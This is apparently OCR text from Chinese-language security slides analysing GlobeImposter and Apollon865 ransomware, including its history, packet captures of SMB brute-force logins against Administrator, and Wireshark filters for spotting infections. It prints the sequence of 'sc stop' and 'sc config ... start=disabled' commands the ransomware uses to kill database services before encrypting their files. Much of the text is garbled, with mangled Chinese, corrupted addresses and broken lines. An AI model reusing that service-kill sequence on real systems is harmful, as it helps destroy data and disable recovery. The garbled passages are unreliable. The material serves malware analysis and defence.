Particular Behavior This ransomware will connect to a
o HTTP Server and another HTTPS
Challenge the victims Server both.

Distribute Ransomware It leaves its source code
on the victim's computer,

Email challenging the victim to
By phishing email messages reverse the encryption
with a fake pdf file. routine themselves.

2:E &R hitps://www.enigmasoftware.com/tLhappyransomware-removal/, 2019




The Evolution of Globelmposter Ransomware

MR EITRER

¥ /MERR: Almost Not Any.

N EBIEAR: B2 ey

(1) SMB-ShareLock FEABORERSE Globelmposter 384 Globelmposter 3.0

(2) SMB-Logon Faile (%#8) L E R R A R KEREMZHR | KA IR 124 K5I

. . — LR B RSA + AES WHEIRME A | Ares666, Apollon865% &
() SlE L ES s RELS (jis) http://www.freebuf.ci/neﬁs/lGBZS EMBPIEMELRN, PEX

sy B AT ARMBEE, A T
https://mp.weixin.qd;|.com/s/pquLpM ﬁﬂ }:I_:
| tgiy7RIZbgMZIFg
2017.5 ® 2018.4%E8 ®
Globelmposter . .
Ransomware
* 2018.2 . 2019.1 |
i H i EEHEECE M
MEERRR , ARN8A
I!!] ﬁ 28HREMEHLRRS |
3 B AR R B At BB,
BIRHBE 1.x Glfc_)beglmposter 2.X GHIjobeImipgstngS.O
. o BERBZAEBENEREE B/1246H" R,
BEHRA BT A A BRI | TR Rat4444, Dragon4444,
BOEEE, snake4444% % B KRE https://www.blocktempo.com/ministr
https://mp.weixin.qq.com/s/gw412N SOEASREE PR R, y-of-health-and-welfare-is-under-

attack-of-wannacry-and-being-
blackmailed-bitcoin/

DXEYWyqxev9bh0XQ

QO O

£ & ¥} https://mp.weixin.qg.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650233265&idx=1&sn=dfb9f2ba235e08324031a6474477f4ce&chksm=f3e2e3c5c4956ad305dfh962586b2dfc5e8792c1e0afe611429640dde2e1505¢5592f5af2f03&s

https://kknews.cc/zh-
tw/news/k6pbkr8.html



https://www.pcrisk.com/removal-guides/15752-apollon865-ransomware
https://www.pcrisk.com/removal-guides/15752-apollon865-ransomware
https://www.pcrisk.com/removal-guides/15752-apollon865-ransomware
https://www.pcrisk.com/removal-guides/15752-apollon865-ransomware
https://www.pcrisk.com/removal-guides/15752-apollon865-ransomware
https://www.pcrisk.com/removal-guides/15752-apollon865-ransomware
https://www.pcrisk.com/removal-guides/15752-apollon865-ransomware
https://www.pcrisk.com/removal-guides/15752-apollon865-ransomware

Globelmposter B9 Appollon865 = &

.

e
—

©

ERENE

EEITRERNEZR
SHHEEBERRE
EITHENBE
DERETERE
ERNE, 2EM
S-SQL, MySQL, Or
acle, MongoDB,

BEHR

©

A—’



" F |

£ Apollon8e5ZXH , SR T3IER:
1. VSSX Lﬁﬁ(ﬁﬁ)ﬁﬂ EMSEHHEAEMERELIER,
72.E%iﬁmﬁmmﬁéﬁﬁﬁﬁﬂ
3. E4mAES(Windows Event Log) AEPER |, E M EZBRBHNERE,




sc stop MongoDB
sc config MongoDB start=disabled
sc stop SQLWriter
sc config SQLWriter start=disabled
sc stop MSSQLServerOLAPService
sc config MSSQLServerOLAPService start=disabled
sc stop MSSQLSERVER
sc config MSSQLSERVER start=disabled
sc stop MSSQL$SQLEXPRESS
sc config MSSQL$SQLEXPRESS start=disabled
sc stop ReportServer
sc config ReportServer start=disabled
sc stop OracleServiceORCL

-~ sc config OracleServiceORCL start=disabled
_ j,;;;qsc stop OracleDBConsoleorcl

~ sc config OracleDBConsoleorcl start=disabled

- sc stop OracleMTSRecoveryService

sc config OracleMTSRecoveryService start=disabled : 1 7:_9f

sc stop OracleVssWriterORCL : * .\

sc config OracleVssWriterORCL start=disabled - \\\\\ N\
0

sc stop MySQL
sc config MySQL start=disabled

£ Apollon865FERX A , FTEHE E K E AMongoDB, MS-SQL, Oracle DB, MySQL,
(A EAEERERERBE , DB Filef£BREEE (Unlocked) = BEX¥ & H EE RETINE)




2019-0831-Compare-MetTraffic-Data.pcap. Apollon8B5 2019/9/17 5 05:45 APOLLC 2,643 KB
019-0831-Compare-MetTraffic-Data tet Apollon865 2019/9/17 F5 054 APOLLC 3 KB

2019-Mormal-Browser-Close-1.pcap.Apollon863 2019/9/17 ™5 05:46 APCLLOMBE 40,618 KE

so0gle AAAA peap.Apollon865 2019/9/17 T4 05:46 APOLLOMSE 739 KE

Chrome.In.. arp-poisoning.pcap.Apallon8b5 2019/9/17 T 05:46 APOLLOI 2 KE
B-2019-0111a.pcap.Apollon863 2019/9/17 ™5 05:46 APCILLOH 03 KB

T B-2019-0111-Shade-Ransomware-infection-E.pcap.ApollonB65 2013/9/17 T 5 05:46 APOLLOMEE 5478 KB
B-2019-0512-Malware-\Web-Download-1.pcap.Apollonda3 2019/9/17 T 5 05:46 APOLLOMBES 8,442 KB

BBBE.pcap.Apollon8b3 2019/9/17 ™5 05:46 APOLLOMBE i

C-2018-03-22-fake-chrome-update pcap.ApallonBE5 2019/9/17 T 5 05:46 APOLLOMSE 434 KB

CamStudio_Setup_2-7_r316.exe ApollonB63 2019/9/17 5 04:36 APQOLLOMSE 72 KE

CCCC.pcap.Apollon865 2019/9/17 T 5 05:46 APOLLOMSE 4,156 KB

DDDD pcap.ApollonB65 2019/9/17 &5 05:46 APOLLOMBE 2 KE

DMS_Full_Test_Data.pcap.Apollon863 2019/9/17 ™5 05:46 APCLLOMBE 2 KE

procexpn- DNS-Spocfing-1.pcap.Apollondss 2019/9/17 T4 05:46 APOLLONSE :
DMS-Spoofing-3.peap.Apollon865 2019/9/17 T 5 05:46 APOLLOMBES B

DMS-Test-1.acp.ApollonB63 2019/9/17 ™5 05:46 APOLLOMBE 289 KB

. Procmonl... EEEE.pcap.ApollonB65 2019/9/17 T 5 05:46 APOLLOMEE 204 KE
HSBC_DMNS Acp Apollon865 2019/9/17 ™5 05:46 APOLLOMBE 2 KE

ids. tut 2019/9/6 £ 08:19 M 3,602 KB

Tepvient IPwi-ldle-Activity.acp.Apollon865 2019/9/17 5 05:46 APOLLOMBGS # 212 KE
IPwG-Ping-Hinet-Google.acp. Apollon865 2019/9/17 5 054 APCLLOMBGS z

a :
n weichink FEApollon865FER P , HINEBETHMNERESR , RINER , SEERER SApollon865




\Slo

(] &pply a display filter -~ <Ctel-t»

E * | Expressiont-

Mo,

Time
833 2019-09-17
834 2019-09-17

17:
17:

08!
@8:

11.582362
11.502424

o
192.168.288.57
192.168.280.162

Destination
192.168.288.255
192.168.288.57

Frotocol
MNEBNS
NENS

Length  Info

92 Name query NB HTTP<2@>
104 Name query response NB 192,168.200.162

837 2019-09-17
838 2019-09-17
839 2819-09-17
846 20819-09-17
841 2019-@9-17
842 2019-@9-17
843 2019-09-17
844 2019-@9-17
845 2019-@9-17
846 2019-09-17
847 2019-09-17
848 2019-@9-17
849 2©19-09-17
850 2819-09-17
851 2019-@9-17
852 2019-09-17

17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:
17:

e8:
08
88
08:
e8:
g8
a8
08
08
a8
e8:
08
g8
08:
e8:
g8

11.583494
11.583555
11.583624
11.503828
11.504162
11.584328
11.584519
11.504994
11.585250
11.585333
11.585589
11.585742
11.587581
11.587699
11.507973
11.508867

192.168.200.57
192.168.200.162
192.168.200.57
192.168.200.162
192.168.200.57
192.168.200.162
192.168.200.57
192.168.200.162
192.168.200.57
192.168.200.162
192.168.200.57
192.168.200.162
192.168.200.57
192.168.200.162
192.168.200.57
192.168.200.162

192.168.200.162
192.168.280.57
192.168.200.162
192.168.280.57
192.168.200.162
192.168.200.57
192.168.200.162
192.168.200.57
192.168.200.162
192.168.2080.57
192.168.200.162
192.168.280.57
192.168.200.162
192.168.280.57
192.168.200.162
192.168.280.57

NB5S
NB5S
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
LANMAN
LANMAN
SMB
SMB
SMB
SMB

F£Apollon865FE H |, FFHRRISMBHEEKITA : SEEITNBNSERER , ENEEENIPUUER

126 Session

request, to HTTP<20> from TEST:

60 Positive session response

213 Negotiate Protocol
143 Negotiate Protocol

162 Session
299 Session
246 Session
175 Session

Regquest
Response
Request, NTLMSSP NEt—
Response, NTLMSSP_CI

Request, NTLMSSP AU
Response

Setup AndX
Setup AndX
Setup AndX
Setup AndX

132 Tree Connect AndX Request, Path: \\HTTL—

114 Tree Connect AndX Response

183 NetServerEnum2 Request, Workstation, S—=

149 NetServerenum2 Re s5ponse

162 Session
299 Session
518 Session
175 Session

Setup AndX Request, NTLMSSP_NEC
Setup AndX Response, NTLMSSP Cl——
Setup AndX Request, NTLMSSP AU——

Setup AndX Response

AREFET EREA (IPCS) It BEIT/NRIE RIS /'R




\Slo

i | fop port=445

Sorce

i ShOf i fdc9: cBlc

::61lde:cHBB:309a: c8%e 74 49528 -+ 445 [ACK] Seq=1 Ack=1 Win=66848 Len=0

fedd: :ff:5bBf:fdc9:cllc fedd::6lde:cobBB:38%:c89 SMB 233 Negotiate Protocol Request

fedB::61de:cHBB:30%95:c8% fe8B::ff:5bBf:fdc9:cBlc SMB2 248 Negotiate Protocol Response

fedB: :ff:5bBf:fdc9:chlc fefl::614de:cbBB:389a:c8%9e SMB2 182 Negotiate Protocol Request

fedld::6lde:cbbBB:30% :c89%e fedB::ff:5bBf:fdc9:cBlc SMB2 248 Negotiate Protocol Response

fedB: :ff:5bBf:fdc9:chlc fefl::614de:cbBB:389a:c8%9e SMB2 248 Session Setup Request, NTLMSSP NEGOTIATE

fedB::61de:cHBB:30%95:c8% fe8B::ff:5bBf:fdc9:cBlc SMB2 287 Session Setup Response, Error: STATUS MORE PROCESSING REQUIRED, NTLMSSP _CHALLENGE
fedld: :ff:5bBf:fdc9:cllc fedd::6lde:cobB:38%:c8% SMB2 599 Session Setup Request, NTLMSSP AUTH, User: TEST281986\Administrator

::61de: cHBB:3095: c89%e piff:5bBf:fdc9:cBlc 151 Session Setup Response, Error: STATUS ACCOUNT RESTRICTION
piff:5bBf:fdc9: cBlc ::61lde: c6B8:309a: c8%e 74 49528 -+ 445 [RST, ACK] 5eq=959 Ack=639 Win=08 Len=0

i ShOf i fdc9: cBlc

tedd: :84cb:ddc:f2e3:6542 TCP 74 49521 + 445 [ACK] Seg=1 Ack=1 Win=66048 Len=08

fedB: :ff:5bBf:fdc9:chlc fefl::84cb:ddc:f2e3:6542 SMB 233 Negotiate Protocol Request
fe80::84cb:ddc:f2e3:6542  fe8@::ff:5bBf:fdc9:cBlc SMB2 248 Negotiate Protocol Response
fedB: :ff:5bBf:fdc9:chlc fefl::84cb:ddc:f2e3:6542 SMB2 182 Negotiate Protocol Request
- feB0::84cb:ddc:f2e3:6542  feB@::ff:5b@f:fdc9:cllc SMB2 248 Negotiate Protocol Response
- fedB: :ff:5bBf:fdc9:chlc fefl::84cb:ddc:f2e3:6542 SMB2 248 Session Setup Request, NTLMSSP NEGOTIATE
fe80::84cb:ddc:f2e3:6542  fe8@::ff:5bBf:fdc9:cBlc SMB2 369 Session Setup Response, Error: STATUS MORE PROCESSING REQUIRED, NTLMSSP CHALLENGE
fedB: :ff:5bBf:fdc9:chlc fefl::84cb:ddc:f2e3:6542 SMB2 679 Session Setup Request, NTLMSSP _AUTH, User: TEST281986%Administrator

::84cbh:ddc:f2e3:6542  fe8B::ff:5blf:fdc9:cBlc SMB2 151 Session Setup Response, Error: STATUS ACCOUNT RESTRICTION
piff:5bBf:fdc9: cBlc fedd: :84cb:ddc:f2e3:6542 TCP 74 49521 - 445 [RST, ACK] Segq=1839 Ack=721 Win=0 Len=0

#EApOllon86STR R | KB AISMBREER 1T « E1TIPVORY IBEE % MIE B N & (Administrator)e

__ o

.
X



AT M HIBEBERE?

MZEHZERE K SHE2ELENEBERER , BREME I
EZ9WET |, 2% http:/lwww.nspa-cert.org and https://www.nspa-cert-tw.org/



Ao rEaEs

Wireshark
Display
Filter

TOR

(tcp.dstport >= 9000) and
(tcp.dstport <= 9999)

DNS Only

dns or udp.port==53
HTTP and DNS
dns or http or https

SMB or RDP

smb or rdp

Network Symptoms #8E&EEAR 3R

FREMAR T I E Bl iwireshark) BER T
FIHEERRER,

TOR JEFA =X #84% TOR M4

ERERRATEAFREKRAUBES, #ERERRERE K SKERAEH
B — B HESR. ,ﬂ“‘*tﬂﬂ ERBEBREXHERR , RFATLER netstat’
RE P BB R A,

iﬂﬂﬂ&iﬁﬁmﬁm DNS EfHa

EEEXTREEERENBMEG(CLCER) , MERTREEERREX(RA#

RN T, EEEEMAENEE  SlRARDNSHS,
28 DNS &= B HTTP/HTTPS &&A

EEREATRETEEDNS &
MmEBEEEZEIEEMBENIPAL,

BHMELESVBE, RDP HEEHA
EERAYNEECLCHRI MR Yt RENENERBETEEH,

HOMTRTS » 5557% www.nspa-cert.org B www.nspa-cert-tw.org

ZR

?

NSPA
HaEG

TOR Skill-1, 2
(F—EHR)

HTTP/HTTPS Client
Skill-1

(F—EHH)

HTTP/HTTPS Client
Skill-2

(F—EHR)
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Not Allowed Service
(not ip.addr == AZSMT
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SMB Error
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022

Abnormal ICMP
icmp

None

I/O reading bytes and I/O
writing bytes
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ICMP Skill-2
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Task Manager
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